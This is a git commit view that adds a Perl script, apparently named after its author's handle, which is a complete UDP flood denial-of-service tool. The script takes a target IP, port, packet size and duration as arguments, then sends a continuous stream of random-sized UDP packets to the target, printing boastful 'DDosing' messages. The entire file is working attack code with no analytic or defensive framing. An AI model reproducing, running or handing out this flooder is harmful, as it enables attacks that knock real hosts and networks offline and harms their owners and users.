add yBz for safekeeping
This commit is contained in:
parent
bc7ecfe3c1
commit
54d9d93082
1 changed files with 28 additions and 0 deletions
28
scripts/yBzDuMp.pl
Normal file
28
scripts/yBzDuMp.pl
Normal file
|
|
@ -0,0 +1,28 @@
|
||||||
|
#!/usr/bin/perl
|
||||||
|
|
||||||
|
##############
|
||||||
|
# yBz Fails at life.
|
||||||
|
##############
|
||||||
|
|
||||||
|
use Socket;
|
||||||
|
use strict;
|
||||||
|
|
||||||
|
my ($ip,$port,$size,$time) = @ARGV;
|
||||||
|
|
||||||
|
my ($iaddr,$endtime,$psize,$pport);
|
||||||
|
|
||||||
|
$iaddr = inet_aton("$ip") or die "VayPooRs DumpiN";
|
||||||
|
$endtime = time() + ($time ? $time : 1000000);
|
||||||
|
socket(flood, PF_INET, SOCK_DGRAM, 17);
|
||||||
|
|
||||||
|
|
||||||
|
print "DDosing... " . ($port ? $port : "Offline... ") . "We Run Trains Over your Modem. " .
|
||||||
|
($size ? "$size-byte" : "") . " yBz" .
|
||||||
|
($time ? " for $time seconds" : "") . "\n";
|
||||||
|
print "Break with Ctrl-C\n" unless $time;
|
||||||
|
|
||||||
|
for (;time() <= $endtime;) {
|
||||||
|
$psize = $size ? $size : int(rand(1024-64)+64) ;
|
||||||
|
$pport = $port ? $port : int(rand(65500))+1;
|
||||||
|
|
||||||
|
send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
|
||||||
Loading…
Add table
Add a link
Reference in a new issue